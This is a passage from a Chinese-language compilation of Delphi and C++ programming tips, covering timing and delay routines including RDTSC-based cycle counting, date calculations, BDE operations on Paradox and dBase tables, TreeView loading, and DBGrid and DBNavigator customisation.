Application.ProcessMessages;

until (iStop - iStart) >= dwMilliseconds;

end;

// 2. Delay: with API

procedure Delay(msecs: Longint);

var

targettime: Longint;

Msg: TMsg;

begin

targettime := GetTickCount + msecs;

while targettime < GetTickCount do

if PeekMessage(Msg, 0, 0, 0, PM_REMOVE) then

begin

TranslateMessage(Msg);

DispatchMessage(Msg);

end;

end;

{

Note:

The elapsed time is stored as a DWORD value.

Therefore, the time will wrap around to zero if the system is

run continuously for 49.7 days.

}

// 3. Sleep

{

The Sleep function suspends the execution of the current

thread for a specified interval.

}

Sleep(dwMilliseconds: Word);

// 4. Combined Delay

{

Including the Sleep in the loop prevents the app from hogging

100% of the CPU for doing practically nothing but running around the loop.

}

procedure PauseFunc(delay: DWORD);

var

lTicks: DWORD;

begin

lTicks := GetTickCount + delay;

repeat

Sleep(100);

Application.ProcessMessages;

until (lTicks <= GetTickCount) or Application.Terminated;

end;

还可以用SleepEx函数。


如何知道某个日期是某年的第几天
function GetDays(ADate: TDate): Extended;

var

FirstOfYear: TDateTime;

begin

FirstOfYear := EncodeDate(StrToInt(FormatDateTime('yyyy', now)) - 1, 12, 31);

Result := ADate - FirstOfYear;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

label1.Caption := 'Today is the ' + FloatToStr(GetDays(Date)) + '. day of the year';

end;


使用CPU时间戳进行高精度计时
使用CPU时间戳进行高精度计时

zhangyan_qd（原作）

对关注性能的程序开发人员而言，一个好的计时部件既是益友，也是良师。计时器既可以作为程序组件帮助程序员精确的控制程序进程，又是一件有力的调试武器，在有经验的程序员手里可以尽快的确定程序的性能瓶颈，或者对不同的算法作出有说服力的性能比较。

在Windows平台下，常用的计时器有两种，一种是timeGetTime多媒体计时器，它可以提供毫秒级的计时。但这个精度对很多应用场合而言还是太粗糙了。另一种是QueryPerformanceCount计数器，随系统的不同可以提供微秒级的计数。对于实时图形处理、多媒体数据流处理、或者实时系统构造的程序员，善用QueryPerformanceCount/QueryPerformanceFrequency是一项基本功。

本文要介绍的，是另一种直接利用Pentium CPU内部时间戳进行计时的高精度计时手段。以下讨论主要得益于《Windows图形编程》一书，第15页－17页，有兴趣的读者可以直接参考该书。关于RDTSC指令的详细讨论，可以参考Intel产品手册。本文仅仅作抛砖之用。

在Intel Pentium以上级别的CPU中，有一个称为“时间戳（Time Stamp）”的部件，它以64位无符号整型数的格式，记录了自CPU上电以来所经过的时钟周期数。由于目前的CPU主频都非常高，因此这个部件可以达到纳秒级的计时精度。这个精确性是上述两种方法所无法比拟的。

在Pentium以上的CPU中，提供了一条机器指令RDTSC（Read Time Stamp Counter）来读取这个时间戳的数字，并将其保存在EDX:EAX寄存器对中。由于EDX:EAX寄存器对恰好是Win32平台下C++语言保存函数返回值的寄存器，所以我们可以把这条指令看成是一个普通的函数调用。像这样：

inline unsigned __int64 GetCycleCount()

{

__asm RDTSC

}

但是不行，因为RDTSC不被C++的内嵌汇编器直接支持，所以我们要用_emit伪指令直接嵌入该指令的机器码形式0X0F、0X31，如下：

inline unsigned __int64 GetCycleCount()

{

__asm _emit 0x0F

__asm _emit 0x31

}

以后在需要计数器的场合，可以像使用普通的Win32 API一样，调用两次GetCycleCount函数，比较两个返回值的差，像这样：

unsigned long t;

t = (unsigned long)GetCycleCount();

//Do Something time-intensive ...

t -= (unsigned long)GetCycleCount();

《Windows图形编程》第15页编写了一个类，把这个计数器封装起来。有兴趣的读者可以去参考那个类的代码。作者为了更精确的定时，做了一点小小的改进，把执行RDTSC指令的时间，通过连续两次调用GetCycleCount函数计算出来并保存了起来，以后每次计时结束后，都从实际得到的计数中减掉这一小段时间，以得到更准确的计时数字。但我个人觉得这一点点改进意义不大。在我的机器上实测，这条指令大概花掉了几十到100多个周期，在Celeron 800MHz的机器上，这不过是十分之一微秒的时间。对大多数应用来说，这点时间完全可以忽略不计；而对那些确实要精确到纳秒数量级的应用来说，这个补偿也过于粗糙了。

这个方法的优点是：

1.高精度。可以直接达到纳秒级的计时精度（在1GHz的CPU上每个时钟周期就是一纳秒），这是其他计时方法所难以企及的。

2.成本低。timeGetTime 函数需要链接多媒体库winmm.lib，QueryPerformance* 函数根据MSDN的说明，需要硬件的支持（虽然我还没有见过不支持的机器）和KERNEL库的支持，所以二者都只能在Windows平台下使用（关于DOS平台下的高精度计时问题，可以参考《图形程序开发人员指南》，里面有关于控制定时器8253的详细说明）。但RDTSC指令是一条CPU指令，凡是i386平台下Pentium以上的机器均支持，甚至没有平台的限制（我相信i386版本UNIX和Linux下这个方法同样适用，但没有条件试验），而且函数调用的开销是最小的。

3.具有和CPU主频直接对应的速率关系。一个计数相当于1/(CPU主频Hz数)秒，这样只要知道了CPU的主频，可以直接计算出时间。这和QueryPerformanceCount不同，后者需要通过QueryPerformanceFrequency获取当前计数器每秒的计数次数才能换算成时间。

这个方法的缺点是：

1.现有的C/C++编译器多数不直接支持使用RDTSC指令，需要用直接嵌入机器码的方式编程，比较麻烦。

2.数据抖动比较厉害。其实对任何计量手段而言，精度和稳定性永远是一对矛盾。如果用低精度的timeGetTime来计时，基本上每次计时的结果都是相同的；而RDTSC指令每次结果都不一样，经常有几百甚至上千的差距。这是这种方法高精度本身固有的矛盾。

关于这个方法计时的最大长度，我们可以简单的用下列公式计算：

自CPU上电以来的秒数 = RDTSC读出的周期数 / CPU主频速率（Hz）

64位无符号整数所能表达的最大数字是1.8×10^19，在我的Celeron 800上可以计时大约700年（书中说可以在200MHz的Pentium上计时117年，这个数字不知道是怎么得出来的，与我的计算有出入）。无论如何，我们大可不必关心溢出的问题。

下面是几个小例子，简要比较了三种计时方法的用法与精度

//Timer1.cpp 使用了RDTSC指令的Timer类//KTimer类的定义可以参见《Windows图形编程》P15

//编译行：CL Timer1.cpp /link USER32.lib

#include <stdio.h>

#include "KTimer.h"

main()

{

unsigned t;

KTimer timer;

timer.Start();

Sleep(1000);

t = timer.Stop();

printf("Lasting Time: %d",t);

}

//Timer2.cpp 使用了timeGetTime函数

//需包含<mmsys.h>，但由于Windows头文件错综复杂的关系

//简单包含<windows.h>比较偷懒：）

//编译行：CL timer2.cpp /link winmm.lib

#include <windows.h>

#include <stdio.h>

main()

{

DWORD t1, t2;

t1 = timeGetTime();

Sleep(1000);

t2 = timeGetTime();

printf("Begin Time: %u", t1);

printf("End Time: %u", t2);

printf("Lasting Time: %u",(t2-t1));

}

//Timer3.cpp 使用了QueryPerformanceCounter函数

//编译行：CL timer3.cpp /link KERNEl32.lib

#include <windows.h>

#include <stdio.h>

main()

{

LARGE_INTEGER t1, t2, tc;

QueryPerformanceFrequency(&tc);

printf("Frequency: %u", tc.QuadPart);

QueryPerformanceCounter(&t1);

Sleep(1000);

QueryPerformanceCounter(&t2);

printf("Begin Time: %u", t1.QuadPart);

printf("End Time: %u", t2.QuadPart);

printf("Lasting Time: %u",( t2.QuadPart- t1.QuadPart));

}

////////////////////////////////////////////////

//以上三个示例程序都是测试1秒钟休眠所耗费的时间

file://测试环境：Celeron 800MHz / 256M SDRAM

// Windows 2000 Professional SP2

// Microsoft Visual C++ 6.0 SP5

////////////////////////////////////////////////

以下是Timer1的运行结果，使用的是高精度的RDTSC指令

Lasting Time: 804586872

以下是Timer2的运行结果，使用的是最粗糙的timeGetTime API

Begin Time: 20254254

End Time: 20255255

Lasting Time: 1001

以下是Timer3的运行结果，使用的是QueryPerformanceCount API

Frequency: 3579545

Begin Time: 3804729124

End Time: 3808298836

Lasting Time: 3569712

古人说，触类旁通。从一本介绍图形编程的书上得到一个如此有用的实时处理知识，我感到非常高兴。有美不敢自专，希望大家和我一样喜欢这个轻便有效的计时器。

参考资料：

[YUAN 2002]Feng Yuan 著，英宇工作室 译，Windows图形编程，机械工业出版社，2002.4.，P15-17

disney(2002-11-16 14:39:23)

在DELPHI下试了试，感觉不错。

如果用鼠标触发，时间为46周期，用回车键的话，一般需要160个周期，看来回车过后，CPU更忙些

function cyclecount:int64;

asm

db $0f

db $31

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

caption:=inttostr(cyclecount-cyclecount);

end;

disney(2002-11-17 17:51:25)

我用的是INT64类型，64位整数，我看了一下编码出来的汇编，确实是用的DX：AX，64位的整数值，需要9223372036.854775808秒才能复位到零，在2GCPU上需要292天一个周期:)


计算年龄
Author: Simon Grossenbacher

function CalculateAge(Birthday, CurrentDate: TDate): Integer;

var

Month, Day, Year, CurrentYear, CurrentMonth, CurrentDay: Word;

begin

DecodeDate(Birthday, Year, Month, Day);

DecodeDate(CurrentDate, CurrentYear, CurrentMonth, CurrentDay);

if (Year = CurrentYear) and (Month = CurrentMonth) and (Day = CurrentDay) then

begin

Result := 0;

end

else

begin

Result := CurrentYear - Year;

if (Month > CurrentMonth) then

Dec(Result)

else

begin

if Month = CurrentMonth then

if (Day > CurrentDay) then

Dec(Result);

end;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Label1.Caption := Format('Your age is %d', [CalculateAge(StrToDate('01.01.1903'), Date)]);

end;


Paradox数据库导出到文本
procedure TForm1.Button1Click(Sender: TObject);

var

t1, t2: tTable; {t1 = PW table; t2 = ASCII version}

begin

t1 := tTable.create(self);

with t1 do begin

DataBaseName := 'DBDEMOS';

tableName := 'customer.db';

open;

end;

t2 := tTable.create(self);

with t2 do begin

DataBaseName := 'DBDEMOS';

tableName := 'myfile.txt';

TableType := ttASCII;

createTable;

open;

edit;

BatchMove(t1, batCopy);

close;

end;

t1.close;

end;


压缩Paradox数据库
要压缩一个Paradox数据库（物理删除），请参考下面的代码！

{ METHOD: PackParadoxTable

PURPOSE: Pack the currently opened paradox table.

}

procedure TTableEnhanced.PackParadoxTable;

var

{ Specific information about the table structure, indexes, etc. }

TblDesc: CRTblDesc;

{ Uses as a handle to the database }

hDb: hDbiDb;

{ Path to the currently opened table }

TablePath: array[0..dbiMaxPathLen] of char;

begin

hDb := nil;

{ Initialize the table descriptor }

FillChar(TblDesc, SizeOf(CRTblDesc), 0);

with TblDesc do

begin

{ Place the table name in descriptor }

StrPCopy(szTblName, TableName);

{ Place the table type in descriptor }

StrCopy(szTblType, GetTableType);

{ Set the packing option to true }

bPack := True;

end;

{ Get the current table's directory. This is why the table MUST be

opened until now }

Chk(DbiGetDirectory(DBHandle, True, TablePath));

{ Close the table }

Close;

{ NOW: since the DbiDoRestructure call needs a valid DB handle BUT the

table cannot be opened, call DbiOpenDatabase to get a valid handle.

Setting TTable.Active = FALSE does not give you a valid handle }

Chk(DbiOpenDatabase(nil, 'STANDARD', dbiReadWrite, dbiOpenExcl, nil,

0, nil, nil, hDb));

{ Set the table's directory to the old directory }

Chk(DbiSetDirectory(hDb, TablePath));

{ Pack the PARADOX table }

Chk(DbiDoRestructure(hDb, 1, @TblDesc, nil, nil, nil, FALSE));

{ Close the temporary database handle }

Chk(DbiCloseDatabase(hDb));

{ Re-Open the table }

Open;

end;


获取记录号
对于dBase和Paradox数据库，可以通过一些BDE函数获取他们的记录号，但是对于SQL数据库，就不支持了！下面的函数可以接受从TDataSet继承下来的任何控件作为参数！并且返回当前记录的记录号！如果Dataset不是dbase或者Paradox，那么函数返回0！

uses 一些DB单元！

function RecordNumber(Dataset: TDataset): Longint;

var

CursorProps: CurProps;

RecordProps: RECProps;

begin

{ Return 0 if dataset is not Paradox or dBASE }

Result := 0;

with Dataset do

begin

{ Is the dataset active? }

if State = dsInactive then

ShowMessage('Cannot perform this operation on a closed dataset');

{ We need to make this call to grab the cursor's iSeqNums }

Check(DbiGetCursorProps(Handle, CursorProps));

{ Synchronize the BDE cursor with the Dataset's cursor }

UpdateCursorPos;

{ Fill RecordProps with the current record's properties }

Check(DbiGetRecord(Handle, dbiNOLOCK, nil, @RecordProps));

{ What kind of dataset are we looking at? }

case CursorProps.iSeqNums of

0: Result := RecordProps.iPhyRecNum; { dBASE }

1: Result := RecordProps.iSeqNum; { Paradox }

end;

end;

end;


压缩Paradox或者dBase数据库
function dgPackParadoxTable(Tbl: TTable; Db: TDatabase): DBIResult;

{ Packs a Paradox table by calling the BDE DbiDoRestructure

function. The TTable passed as the first parameter must

be closed. The TDatabase passed as the second parameter

must be connected. }

var

TblDesc: CRTblDesc;

begin

Result := DBIERR_NA;

FillChar(TblDesc, SizeOf(CRTblDesc), 0);

StrPCopy(TblDesc.szTblName, Tbl.TableName);

TblDesc.bPack := True;

Result := DbiDoRestructure(Db.Handle, 1, @TblDesc, nil, nil, nil, False);

end;

function dgPackDbaseTable(Tbl: TTable): DBIResult;

{ Pack a dBASE table by calling DbiPackTable. The table

passed as a parameter will be opened if it isn't open. }

begin

Result := DBIERR_NA;

if Tbl.Active = False then

Tbl.Open;

Result := DbiPackTable(Tbl.DBHandle, Tbl.Handle,

nil, nil, True);

end;

****************************

要压缩dBase数据库很简单，只要下面的操作即可：

DBIPackTable(Table1.DbHandle, Table1.Handle, 'TABLENAME.DBF', szDBASE, TRUE);

当然，Table必须用exclusive方式打开！

对于Paradox数据库，就麻烦一些了：

// Pack a Paradox or dBASE table

// The table must be opened execlusively before calling this function...

procedure PackTable(Table: TTable);

var

Props: CURProps;

hDb: hDBIDb;

TableDesc: CRTblDesc;

begin

// Make sure the table is open exclusively so we can get the db handle...

if Table.Active = False then

raise EDatabaseError.Create('Table must be opened to pack');

if Table.Exclusive = False then

raise EDatabaseError.Create('Table must be opened exclusively to pack');

// Get the table properties to determine table type...

Check(DbiGetCursorProps(Table.Handle, Props));

// If the table is a Paradox table, you must call DbiDoRestructure...

if Props.szTableType = szPARADOX then

begin

// Blank out the structure...

FillChar(TableDesc, sizeof(TableDesc), 0);

// Get the database handle from the table's cursor handle...

Check(DbiGetObjFromObj(hDBIObj(Table.Handle), objDATABASE, hDBIObj(hDb)));

// Put the table name in the table descriptor...

StrPCopy(TableDesc.szTblName, Table.TableName);

// Put the table type in the table descriptor...

StrPCopy(TableDesc.szTblType, Props.szTableType);

// Set the Pack option in the table descriptor to TRUE...

TableDesc.bPack := True;

// Close the table so the restructure can complete...

Table.Close;

// Call DbiDoRestructure...

Check(DbiDoRestructure(hDb, 1, @TableDesc, nil, nil, nil, FALSE));

end

else

// If the table is a dBASE table, simply call DbiPackTable...

if Props.szTableType = szDBASE then

Check(DbiPackTable(Table.DBHandle, Table.Handle, nil, szDBASE, TRUE))

else

// Pack only works on PAradox or dBASE; nothing else...

raise EDatabaseError.Create('Table must be either of Paradox or dBASE ' +

'type to pack');

Table.Open;

end;


dBase的复合索引
复合索引必须是表达式，例如：

MyTable.AddIndex('MyTagName', 'FIELD1NAME+FIELD2NAME', [ixExpression]);

his is required on compound indices. You can even use other expressions, such as UPPER(FIELD1+FIELD2). Note that [ixExpression] is required, but NOT documented in any help file I can find, and [ixCaseInsensitive] plain doesn't work for dBase files.

Note further that such expression indices rule out using SetRange, and perhaps other methods. However, I've heard that using the "long winded" version of SetRange will work.

e.g.

with table1 do

begin

SetRangeStart;

FieldsByName('FIELD1').AsString := 'myString';

FieldsByName('FIELD2').AsString := ' 1';

SetRangeEnd;

FieldsByName('FIELD1').AsString := 'myString';

FieldsByName('FIELD2').AsString := '999';

ApplyRange;

end;


是否显示dBase中已经删除的记录
如果要显示已经删除的记录怎么办？

使用下面的类似的代码即可：

注意：应该在Table的AfterOpen之后调用这个函数！

procedure SetDelete(oTable:TTable; Value: Boolean);

var

rslt: DBIResult;

szErrMsg: DBIMSG;

begin

try

oTable.DisableControls;

try

rslt := DbiSetProp(hDBIObj(oTable.Handle), curSOFTDELETEON,

LongInt(Value));

if rslt <> DBIERR_NONE then

begin

DbiGetErrorString(rslt, szErrMsg);

raise Exception.Create(StrPas(szErrMsg));

end;

except

on E: EDBEngineError do ShowMessage(E.Message);

on E: Exception do ShowMessage(E.Message);

end;

finally

oTable.Refresh;

oTable.EnableControls;

end;

end;

**********************

// 判断Atable 中当前记录是否已被删除, 若返回值为True 则已被删除，

否则未被删除

Function GetDelFlag(Atable: Ttable):Boolean;

var

CP: CurProps;

RP: RecProps;

begin

with Atable do begin

UpdateCursorPos; // 同步 BDE 和 Delphi

Check(DbiGetCursorProps(Handle, CP));

// 确认是Dbase 表!且已置软删除

if CP.szTableType<>szDBASE then

raise EDatabaseError.Create('Not is DBASE DBF!');

if CP.bDeletedOn = False then

raise EDatabaseError.Create('Soft deletes is not on');

// 取出删除标记

Check(DbiGetRecord(Handle, dbiNOLOCK, nil, @RP));

GetDelFlag := RP.bDeleteFlag;

end;

end;

// 设置软删除标记.

// 若使SofeDelete=True 则使BDE 不过滤有“*”标记记录，否则，过滤

procedure SetSofDelete(Table: Ttable; SoftDelete: Boolean);

var

rslt: DBIResult;

Props: CURProps;

begin

Check(DbiGetCursorProps(Table.Handle, Props));

// 确认是Dbase 表

if StrIComp(Props.szTableType, szDBASE) <> 0 then

raise EDBEngineError.Create(DBIERR_NOTSUPPORTED);

// 确认能设置软删除

rslt := DbiValidateProp(hDBIObj(Table.Handle), curSOFTDELETEON,SoftDelete);

if rslt = DBIERR_NONE then

// 设置软删除

Check(DbiSetProp(hDBIObj(Table.Handle), curSOFTDELETEON, Longint(SoftDelete)))

else

raise EDBEngineError.Create(rslt);

end;

// 允许有“*”标记记录显示

procedure DispDeleted(Table: Ttable);

Begin

SetSofDelete(Table,True );

End;

// 不允许有“*”标记记录显示

procedure UndispDeleted(Table: Ttable);

Begin

SetSofDelete(Table,False );

End;

// 恢复删除

procedure Undel(dBASETbl: Ttable);

var

Cprops: CurProps;

begin

Check(DbiGetCursorProps(dBASETbl.Handle, Cprops));

// 确认是Dbase 表,且软删除已设置为True;

if StrIComp(Cprops.szTableType, szDBASE) <> 0 then

raise EDBEngineError.Create(DBIERR_NOTSUPPORTED);

if Cprops.bDeletedOn = False then

raise EDatabaseError.Create('Soft deletes is not on');

Check(DbiUndeleteRecord(dBASETbl.Handle));

end;

procedure TForm1.Button1Click(Sender: Tobject);

begin

Table1.Active:=True;

DispDeleted(Table1);

end;

procedure TForm1.Button3Click(Sender: Tobject);

begin

Undel(Table1);

end;

procedure TForm1.Button4Click(Sender: Tobject);

begin

GetDelFlag(Table1);

end;

end.


dBase复合索引的查询
dBase中有一个复合索引，索引值段可以是一个表达式！那么这种情况如何查询呢？

Here is an example of how to call the generic SearchExpr function:

{current index key expression is 'DTOS(CRT_DATE)+CRT_CODE'}

Table1.SetKey;

Table1.FieldByName('CRT_DATE').AsString := '2/2/94'; {assign search values}

Table1.FieldByName('CRT_CODE').AsString := 'T002'; {assign search values}

if SeekExpr(Table1.Handle, [Table1.FieldByName('CRT_DATE'),

Table1.FieldByName('CRT_CODE')] ) then

ShowMessage('Found!')

else

ShowMessage('Not found!');

{note that the record pointer is now on the record it found, if any}

Here is the code for the generic search function:

function TDBFTest1.SeekExpr(hTable: HDBIcur;

aFlds: array of TField): boolean;

const

KeyBufSize = 250; {maximum size of key}

var

pRecBuf: pByte; {contains a record in memory}

pKeyBuf: pByte; {contains actual key}

TblProps: CURProps; {table properties }

rslt: DBIResult; {result of BDE call}

i: integer; {counter}

tmpPSZ: PCHAR;

tmpDate: LongInt;

begin

{get size of record buffer}

DbiGetCursorProps(hTable, TblProps);

{allocate memory for record buffer}

GetMem(pRecBuf, TblProps.iRecBufSize * sizeof(BYTE));

GetMem(pKeyBuf, KeyBufSize); {allocate mem for key}

{initialize record buffer}

DbiInitRecord(hTable, pRecBuf);

{set search values in record buffer}

for i := 0 to High(aFlds) do

begin

{TStringField}

if (aFlds[i] is TStringField) then

begin

GetMem(tmpPSZ, Length(aFlds[i].AsString)+1);

StrPCopy(tmpPSZ, aFlds[i].AsString);

DbiPutField(hTable, {TTable}

aFlds[i].FieldNo, {TField}

pRecBuf, {pointer to record buffer}

(tmpPSZ)); {pointer to value}

FreeMem(tmpPSZ, Length(aFlds[i].AsString)+1);

end

{TDateField}

else if (aFlds[i] is TDateField) then

begin

tmpDate := Trunc(aFlds[i].AsDateTime);

DbiPutField(hTable, {TTable}

aFlds[i].FieldNo, {TField}

pRecBuf, {pointer to record buffer}

(@tmpDate)); {pointer to value}

end

end;

{create a key for the above values}

DbiExtractKey(hTable, pRecBuf, pKeyBuf);

{search using this key (stored in pKeyBuf)}

table1.updatecursorpos;

rslt := DbiGetRecordForKey(hTable, True, 0, 0, pKeyBuf, nil);

table1.refresh; {update data aware components}

if rslt <> 0 then

Result := False

else

result := True;

ShowRecord; {display new record number -- see below}

{free memory allocated for buffer}

FreeMem(pRecBuf, TblProps.iRecBufSize * sizeof(BYTE));

FreeMem(pKeyBuf, KeyBufSize);

end;

procedure TDBFTest1.ShowRecord;

{Show a dBase record number}

{NOTE: it assumes there is a label component named RecordNo.}

var

myrecprop: RECprops;

recno: integer;

begin

table1.updatecursorpos;

recno := 0;

dbiGetRecord(table1.handle, dbiNOLOCK, nil, @myrecprop);

recno := myrecprop.iPhyRecNum;

RecordNo.Caption := inttostr(recno);

end;


建立含自动增加的字段的表
Table.CreateTable不支持自动增加的字段，可以使用TQuery和SQL Create Table来做！参考下面的代码：

with Query1 do

begin

DatabaseName := 'DBDemos';

with SQL do

begin

Clear;

Add('CREATE TABLE "PDoxTbl.db" (ID AUTOINC,');

Add('Name CHAR(255),');

Add('PRIMARY KEY(ID))');

ExecSQL;

Clear;

Add('CREATE INDEX ByName ON "PDoxTbl.db" (Name)');

ExecSQL;

end;

end;


实现在Paradox表中加密码和编程登录的方法!
实现在Paradox表中加密码和编程登录的方法!

下面给出的函数 AddMasterPassword 完成添加PARADOX表

主口令的工作

AddMasterPassword(Table1, 'MyNewPassword')

procedure AddMasterPassword(Table: TTable; pswd: string);

const

RESTRUCTURE_TRUE = WordBool(1);

var

TblDesc: CRTblDesc;

hDb: hDBIDb;

begin

{表打开？表是独占吗？}

if (Table.Active = False) or (Table.Exclusive = False) then

raise EDatabaseError.Create('数据表必须在独占方式才可以添加口令');

{初始化表描述区 }

FillChar(TblDesc, SizeOf(CRTblDesc), 0);

with TblDesc do

begin

{ 把表名放到描述区 }

StrPCopy(szTblName, Table.TableName);

{ 把表类型放到描述区 }

StrCopy(szTblType, szPARADOX);

StrPCopy(szPassword, pswd);

{ 设置BPROTECTED为TRUE }

bProtected := RESTRUCTURE_TRUE;

end;

{ 从当前的HANDLE里得到DATABASE的HANDLE }

Check(DbiGetObjFromObj(hDBIObj(Table.Handle), objDATABASE, hDBIObj(hDb)));

{ 关闭表 }

Table.Close;

{ 添加主口令到PARADOX表里}

Check(DbiDoRestructure(hDb, 1, @TblDesc, nil, nil, nil, FALSE));

{添加一个新口令到SESSION}

Session.AddPassword(pswd);

{重新打开表 }

Table.Open;

end;

说了一大堆,帮助理解,认识更多啊^0^,下面这两句才时解决你问题的根本,

//*************************************************

Table1.DBSession.AddPassWord('Your PassWord');

Table1.Open;

//*************************************************


数据集和TreeView
procedure LoadTree(treeDB:TDBDataSet);//初始化树

procedure UpdateTree(curNode:TTreenode; nodeTxt:string; state:string);//更新树

function GetNodeLevel(sFormat,sCode:string):integer; //获得节点层数

function GetNodeItem(sCode:string):integer;//获得item

{ Public declarations }

end;

const

CTreeCodeFormat='122222';

cTreeMaxLevel=6;

CTreeRootTXT='所有图书';

var

tsgzlfrom: Ttsgzlfrom;

_err:integer;

curUser:string[10];

mystate:string;

gNodeId:string;

gNodelevel:integer;

gNode:TtreeNode;

mynode:array[0..6] of TTreenode;

i,Already,CurMode:integer;

currow:integer;

iniFile:string;

HasSub:String;

level:Integer;

implementation

uses bgNewunit;

{$R *.DFM}

procedure TtsgzlFrom.LoadTree(treeDB:TDBDataSet);//初始化树

var curID,nodeTxt:string;

level,num:integer;

begin

//初始化变量

Screen.Cursor:=crHourGlass;

tree.Enabled:=True;

tree.Items.Clear;

level:=1 ;

num:=1;

tree.items.clear;

//设置根节点

mynode[level]:=Tree.items.add(Tree.Topitem,cTreeRootTxt);

mynode[level].ImageIndex:=0;

mynode[level].SelectedIndex:=1;

//遍历数据表，利用编码字段记录排序规律，依次添加树节点

with TreeDb do

begin

try

if not Active then open;

first;

while not Eof do

begin

curID:=trim(FieldByName('tsglb').AsString);

nodeTxt:=curID+'-'+trim(FieldByName('tsglbn').AsString);

level:=GetNodeLevel(cTreeCodeFormat,curID);

//这里返回代码的层次数

if level>0 then

begin

//增加下一节点时，用添加子节点的方法可轻松实现节点间的层次关系。

//注意：这里的父节点是用当前节点的上一级节点mynode[level-1]

mynode[level]:=Tree.Items.AddChild(Mynode[level-1],NodeTxt);

mynode[level].ImageIndex:=2;

mynode[level].SelectedIndex:=3;

end;

next;//下一条记录

end;

finally;

close;

End;

mynode[1].expand(False);

Screen.Cursor:=crHourGlass;

end;

end;

function TtsgzlFrom.GetNodeLevel(sFormat,sCode:string):integer;

var i,iLen:integer;

begin

level:=-1 ;

iLen:=0;

if (sFormat<>'') and (sCode<>'') then

for i:=1 to Length(sFormat) do //分析编码格式，找出当前代码层次

begin

iLen:=iLen+StrToInt(sFormat[i]);

if Length(sCode)=iLen then

begin

level:=i;

break;

end;

end;

result:=level;

end;

Function TtsgzlFrom.GetNodeItem(sCode:string):integer;//获得item

var i,iCount,val:integer;

tmp:string;

begin

Result:=0;

iCount:=Tree.Items.Count;

if iCount=0 then exit;

val:=0;

for i:=1 to iCount-1 do

begin

Tmp:=Tree.Items.Item[i].Text;

Tmp:=Copy(Tmp,0,pos('-',Tmp)-1);

if Tmp=sCode then begin

val:=i;

Break;

end;

end;

result:=val;

end;

procedure TtsgzlFrom.UpdateTree(curNode:TTreenode; nodeTxt:string; state:string);

Begin

if state='add' then

begin

curNode:=Tree.Items.addchild(curNode,nodeTxt);

curNode.ImageIndex:=2;

curnode.SelectedIndex:=3;

end;

if state='del' then curNode.delete;

if state='edi' then curNode.Text:=nodeTxt;

end;


点击DBGrid的Title对查询结果排序
欲实现点击DBGrid的Title对查询结果排序，想作一个通用程序，不是一事一议，

例如不能在SQL语句中增加Order by ...，因为SQL可能原来已经包含Order by ...，

而且点击另一个Title时又要另外排序，目的是想作到象资源管理器那样随心所欲。

procedure TFHkdata.SortQuery(Column:TColumn);

var

SqlStr,myFieldName,TempStr: string;

OrderPos: integer;

SavedParams: TParams;

begin

if not (Column.Field.FieldKind in [fkData,fkLookup]) then exit;

if Column.Field.FieldKind =fkData then

myFieldName := UpperCase(Column.Field.FieldName)

else

myFieldName := UpperCase(Column.Field.KeyFields);

while Pos(myFieldName,';')<>0 do

myFieldName := copy(myFieldName,1,Pos(myFieldName,';')-1)

+ ',' + copy(myFieldName,Pos(myFieldName,';')+1,100);

with TQuery(TDBGrid(Column.Grid).DataSource.DataSet) do

begin

SqlStr := UpperCase(Sql.Text);

// if pos(myFieldName,SqlStr)=0 then exit;

if ParamCount>0 then

begin

SavedParams := TParams.Create;

SavedParams.Assign(Params);

end;

OrderPos := pos('ORDER',SqlStr);

if (OrderPos=0) or

(pos(myFieldName,copy(SqlStr,OrderPos,100))=0) then

TempStr := ' Order By ' + myFieldName + ' Asc'

else if pos('ASC',SqlStr)=0 then

TempStr := ' Order By ' + myFieldName + ' Asc'

else

TempStr := ' Order By ' + myFieldName + ' Desc';

if OrderPos<>0 then SqlStr := Copy(SqlStr,1,OrderPos-1);

SqlStr := SqlStr + TempStr;

Active := False;

Sql.Clear;

Sql.Text := SqlStr;

if ParamCount>0 then

begin

Params.AssignValues(SavedParams);

SavedParams.Free;

end;

Prepare;

Open;

end;

end;

怎么不行，上面的是对query进行排序的过程


修改DBNavigator中按钮的图标
修改$(DELPHI).res中相应按钮的bitmap即可

看看源代码就知道了。

var

BtnTypeName: array[TNavigateBtn] of PChar = ('FIRST', 'PRIOR', 'NEXT',

'LAST', 'INSERT', 'DELETE', 'EDIT', 'POST', 'CANCEL', 'REFRESH');

type

TNavigateBtn = (nbFirst, nbPrior, nbNext, nbLast,

nbInsert, nbDelete, nbEdit, nbPost, nbCancel, nbRefresh);

// 初始化按钮

procedure TDBNavigator.InitButtons;

var

I: TNavigateBtn;

Btn: TNavButton;

X: Integer;

ResName: string;

begin

MinBtnSize := Point(20, 18);

X := 0;

for I := Low(Buttons) to High(Buttons) do

begin

Btn := TNavButton.Create (Self); ); // TNavButton 是 TSpeedButton 的子类，其实就是 TSpeedButton

Btn.Flat := Flat;

Btn.Index := I;

Btn.Visible := I in FVisibleButtons;

Btn.Enabled := True;

Btn.SetBounds (X, 0, MinBtnSize.X, MinBtnSize.Y);

FmtStr(ResName, 'dbn_%s', [BtnTypeName[I]]);

Btn.Glyph.LoadFromResourceName(HInstance, ResName); // 从资源文件中根据资源名字调出 TSpeedButton 的 Glyph 属性

Btn.NumGlyphs := 2;

Btn.Enabled := False;

Btn.Enabled := True;

Btn.OnClick := ClickHandler;

Btn.OnMouseDown := BtnMouseDown;

Btn.Parent := Self;

Buttons[I] := Btn;

X := X + MinBtnSize.X;

end;

Buttons[nbPrior].NavStyle := Buttons[nbPrior].NavStyle + [nsAllowTimer];

Buttons[nbNext].NavStyle := Buttons[nbNext].NavStyle + [nsAllowTimer];

end;

但是 Buttons 属性被 Protect 了，一般情况下访问不到，要玩一点技巧！

protected

Buttons: array[TNavigateBtn] of TNavButton;

这样做就行了：

type

TMyNavgator = class(TDBNavigator); // Delphi 默认在同一个单元里的类可以互相访问其 protected 属性

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

TMyNavgator(DBNavigator1).Buttons[nbFirst].Glyph.LoadFromFile('D:.bmp');

end;


dbgrid当前光棒“深蓝色”改为“红色”
搞定！设置Dbgrid的DBGrid1DrawDataCell事件中添加如下代码：

dbgrid1.Canvas.Font.Color:=clgreen;

if gdSelected in state then

SetBkColor(dbgrid1.canvas.handle,clred)

else

setbkcolor(dbgrid1.canvas.handle,clwhite);

dbgrid1.Canvas.TextRect(rect,0,0,field.AsString);

dbgrid1.Canvas.Textout(rect.Left,rect.Top,field.AsString);

